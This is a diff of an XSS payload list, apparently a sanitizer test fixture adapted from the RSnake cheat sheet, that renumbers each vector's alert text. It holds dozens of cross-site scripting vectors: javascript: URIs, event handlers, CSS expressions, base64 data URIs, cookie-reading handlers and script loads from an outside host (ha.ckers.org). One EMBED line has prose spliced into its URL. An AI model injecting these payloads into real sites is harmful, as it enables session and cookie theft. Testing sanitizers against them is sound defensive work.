|
|
@@ -10,20 +10,20 @@ |
|
|
|
|
|
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> |
|
|
|
|
|
<IMG SRC="javascript:alert('XSS');"> |
|
|
<IMG SRC="javascript:alert('XSS1');"> |
|
|
|
|
|
<IMG SRC=JaVaScRiPt:alert('XSS')> |
|
|
<IMG SRC=JaVaScRiPt:alert('XSS2')> |
|
|
|
|
|
# Grave Accent Obfuscation |
|
|
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> |
|
|
<IMG SRC=`javascript:alert("RSnake says, 'XSS3'")`> |
|
|
|
|
|
# Malformed A Tags |
|
|
# (not actually malformed) |
|
|
<a onmouseover="alert(document.cookie)">xxs link</a> |
|
|
<a onmouseover=alert(document.cookie)>xxs link</a> |
|
|
|
|
|
# Malformed IMG Tags |
|
|
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"> |
|
|
<IMG """><SCRIPT>alert("XSS4")</SCRIPT>"> |
|
|
|
|
|
# fromCharCode |
|
|
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> |
|
|
@@ -55,44 +55,44 @@ |
|
|
|
|
|
# Embedded tab |
|
|
# obsolete form |
|
|
#<IMG SRC="jav ascript:alert('XSS');"> |
|
|
<IMG SRC="/x" onerror="jav ascript:alert('XSS');"> |
|
|
#<IMG SRC="jav ascript:alert('XSS5');"> |
|
|
<IMG SRC="/x" onerror="jav ascript:alert('XSS6');"> |
|
|
|
|
|
# Embedded escaped tab |
|
|
# obsolete form |
|
|
#<IMG SRC="jav	ascript:alert('XSS');"> |
|
|
<IMG SRC="/" onerror="jav	ascript:alert('XSS');"> |
|
|
#<IMG SRC="jav	ascript:alert('XSS7');"> |
|
|
<IMG SRC="/" onerror="jav	ascript:alert('XSS8');"> |
|
|
|
|
|
# Embedded newline to break up XSS |
|
|
# obsolete form |
|
|
#<IMG SRC="jav
ascript:alert('XSS');"> |
|
|
<IMG SRC="jav
ascript:alert('XSS');"> |
|
|
#<IMG SRC="jav
ascript:alert('XSS9');"> |
|
|
<IMG SRC="jav
ascript:alert('XSS10');"> |
|
|
|
|
|
# Embedded CR |
|
|
# obsolete form |
|
|
#<IMG SRC="jav
ascript:alert('XSS');"> |
|
|
<IMG SRC="/x" onerror="jav
ascript:alert('XSS');"> |
|
|
#<IMG SRC="jav
ascript:alert('XSS11');"> |
|
|
<IMG SRC="/x" onerror="jav
ascript:alert('XSS12');"> |
|
|
|
|
|
# Null |
|
|
# obsolete form |
|
|
# <IMG SRC="jav%00ascript:alert('XSS');"> |
|
|
<IMG SRC="/x" onerror="jav%00ascript:alert('XSS');"> |
|
|
# <IMG SRC="jav%00ascript:alert('XSS13');"> |
|
|
<IMG SRC="/x" onerror="jav%00ascript:alert('XSS14');"> |
|
|
|
|
|
# Spaces and meta chars before the JavaScript in images for XSS |
|
|
# obsolete form |
|
|
#<IMG SRC="  javascript:alert('XSS');"> |
|
|
<IMG SRC="/x" onerror="  javascript:alert('XSS');"> |
|
|
#<IMG SRC="  javascript:alert('XSS15');"> |
|
|
<IMG SRC="/x" onerror="  javascript:alert('XSS16');"> |
|
|
|
|
|
# Non-alpha-non-digit XS |
|
|
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
|
|
|
|
|
# this is bogus or obsolete |
|
|
# <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> |
|
|
# <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS17")> |
|
|
|
|
|
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
|
|
|
|
|
# Extraneous open brackets |
|
|
<<SCRIPT>alert("XSS");//<</SCRIPT> |
|
|
<<SCRIPT>alert("XSS18");//<</SCRIPT> |
|
|
|
|
|
# No closing script tags |
|
|
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B > |
|
|
@@ -101,7 +101,7 @@ |
|
|
<SCRIPT SRC=//ha.ckers.org/.j> |
|
|
|
|
|
# Half open HTML/JavaScript XSS vector |
|
|
<IMG SRC="javascript:alert('XSS')" |
|
|
<IMG SRC="javascript:alert('XSS19')" |
|
|
|
|
|
# Double open angle brackets |
|
|
<iframe src=http://ha.ckers.org/scriptlet.html < |
|
|
@@ -110,45 +110,45 @@ |
|
|
# N/A |
|
|
|
|
|
# End title tag |
|
|
</TITLE><SCRIPT>alert("XSS");</SCRIPT> |
|
|
</TITLE><SCRIPT>alert("XSS20");</SCRIPT> |
|
|
|
|
|
# INPUT image |
|
|
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> |
|
|
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS21');"> |
|
|
|
|
|
# BODY image |
|
|
<BODY BACKGROUND="javascript:alert('XSS')"> |
|
|
<BODY BACKGROUND="javascript:alert('XSS22')"> |
|
|
|
|
|
# IMG Dynsrc |
|
|
# Wildly obsolete |
|
|
<IMG DYNSRC="javascript:alert('XSS')"> |
|
|
<IMG DYNSRC="javascript:alert('XSS23')"> |
|
|
|
|
|
# IMG LOW src |
|
|
# Wildy obsolete |
|
|
<IMG LOWSRC="javascript:alert('XSS')"> |
|
|
<IMG LOWSRC="javascript:alert('XSS24')"> |
|
|
|
|
|
# List-style-image |
|
|
# likely obsolete |
|
|
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br> |
|
|
<STYLE>li {list-style-image: url("javascript:alert('XSS25')");}</STYLE><UL><LI>XSS</br> |
|
|
|
|
|
# VBscript in an image |
|
|
<IMG SRC='vbscript:msgbox("XSS")'> |
|
|
<IMG SRC='vbscript:msgbox("XSS26")'> |
|
|
|
|
|
# Livescript (older versions of Netscape only) |
|
|
# Obsolete |
|
|
# <IMG SRC="livescript:[code]"> |
|
|
|
|
|
# BODY tag |
|
|
<BODY ONLOAD=alert('XSS')> |
|
|
<BODY ONLOAD=alert('XSS27')> |
|
|
|
|
|
# BGSOUND |
|
|
<BGSOUND SRC="javascript:alert('XSS');" |
|
|
<BGSOUND SRC="javascript:alert('XSS28');" |
|
|
|
|
|
# & JavaScript includes |
|
|
# Obsolete |
|
|
# <BR SIZE="&{alert('XSS')}"> |
|
|
# <BR SIZE="&{alert('XSS29')}"> |
|
|
|
|
|
# STYLE sheet |
|
|
<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> |
|
|
<LINK REL="stylesheet" HREF="javascript:alert('XSS30');"> |
|
|
|
|
|
# Remote style sheet |
|
|
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> |
|
|
@@ -163,71 +163,71 @@ |
|
|
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> |
|
|
|
|
|
# STYLE tags with broken up JavaScript for XSS |
|
|
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> |
|
|
<STYLE>@im\port'\ja\vasc\ript:alert("XSS31")';</STYLE> |
|
|
|
|
|
# STYLE attribute using a comment to break up expression |
|
|
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))" |
|
|
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS32'))" |
|
|
|
|
|
# IMG STYLE with expression |
|
|
# N/A |
|
|
|
|
|
# STYLE tag (Older versions of Netscape only) |
|
|
<STYLE TYPE="text/javascript">alert('XSS');</STYLE> |
|
|
<STYLE TYPE="text/javascript">alert('XSS33');</STYLE> |
|
|
|
|
|
# STYLE tag using background-image |
|
|
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> |
|
|
<STYLE>.XSS{background-image:url("javascript:alert('XSS34')");}</STYLE><A CLASS=XSS></A> |
|
|
|
|
|
# STYLE tag using background |
|
|
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> |
|
|
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS35')")}</STYLE> |
|
|
|
|
|
# Anonymous HTML with STYLE attribute |
|
|
<XSS STYLE="xss:expression(alert('XSS'))"> |
|
|
<XSS STYLE="xss:expression(alert('XSS36'))"> |
|
|
|
|
|
# Local htc file |
|
|
<XSS STYLE="behavior: url(xss.htc);"> |
|
|
|
|
|
# META |
|
|
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> |
|
|
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS37');"> |
|
|
|
|
|
# META using data |
|
|
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> |
|
|
|
|
|
# META |
|
|
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> |
|
|
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS38');"> |
|
|
|
|
|
# IFRAME |
|
|
<IFRAME SRC="javascript:alert('XSS');"></IFRAME> |
|
|
<IFRAME SRC="javascript:alert('XSS39');"></IFRAME> |
|
|
|
|
|
# IFRAME Event based |
|
|
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> |
|
|
|
|
|
# FRAME |
|
|
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> |
|
|
<FRAMESET><FRAME SRC="javascript:alert('XSS40');"></FRAMESET> |
|
|
|
|
|
# TABLE |
|
|
<TABLE BACKGROUND="javascript:alert('XSS')"> |
|
|
<TABLE BACKGROUND="javascript:alert('XSS41')"> |
|
|
|
|
|
# TD |
|
|
<TABLE BACKGROUND="javascript:alert('XSS')"> |
|
|
<TABLE BACKGROUND="javascript:alert('XSS42')"> |
|
|
|
|
|
# DIV background-image |
|
|
<TABLE BACKGROUND="javascript:alert('XSS')"> |
|
|
<TABLE BACKGROUND="javascript:alert('XSS43')"> |
|
|
|
|
|
# DIV background-image with unicoded XSS exploit |
|
|
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058. |
|
|
|
|
|
# DIV background-image plus extra characters |
|
|
<DIV STYLE="background-image: url(javascript:alert('XSS'))"> |
|
|
<DIV STYLE="background-image: url(javascript:alert('XSS44'))"> |
|
|
|
|
|
# DIV expression |
|
|
<DIV STYLE="width: expression(alert('XSS'));"> |
|
|
<DIV STYLE="width: expression(alert('XSS45'));"> |
|
|
|
|
|
|
|
|
# "Downlevel-hidden block" |
|
|
<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]--> |
|
|
<!--[if gte IE 4]> <SCRIPT>alert('XSS46');</SCRIPT> <![endif]--> |
|
|
|
|
|
# BASE tag |
|
|
<BASE HREF="javascript:alert('XSS');//"> |
|
|
<BASE HREF="javascript:alert('XSS47');//"> |
|
|
|
|
|
# Object tag |
|
|
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> |
|
|
@@ -236,13 +236,13 @@ |
|
|
<EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:org/xss.swf" AllowScriptAccess="always"></EMBED> |
|
|
|
|
|
# You can EMBED SVG which can contain your XSS vector |
|
|
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> |
|
|
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUzUwIik7PC9zY3JpcHQ+PC9zdmc+" type="image/svg+xml" AllowScriptAccess="always"></EMBED> |
|
|
|
|
|
# Using ActionScript inside flash can obfuscate your XSS vector |
|
|
# N/A |
|
|
|
|
|
# XML data island with CDATA obfuscation |
|
|
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> |
|
|
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS48')"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> |
|
|
|
|
|
# Locally hosted XML with embedded JavaScript that is generated using an XML data island |
|
|
<XML SRC="xsstest.xml" ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> |
|
|
@@ -255,5 +255,3 @@ |
|
|
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
|
|
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
|
|
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
|
|
|
|
|
|